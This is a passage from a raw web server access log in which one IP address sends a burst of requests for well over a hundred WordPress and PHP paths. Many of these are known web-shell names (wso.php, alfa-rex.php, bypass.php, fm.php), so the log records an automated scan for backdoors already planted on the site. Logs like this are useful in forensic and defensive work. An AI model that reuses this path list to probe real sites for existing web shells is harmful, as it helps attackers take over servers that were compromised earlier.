AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:02 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:03 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:04 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:05 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.37.22 - - [13/Apr/2026:06:29:06 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.37.22 - - 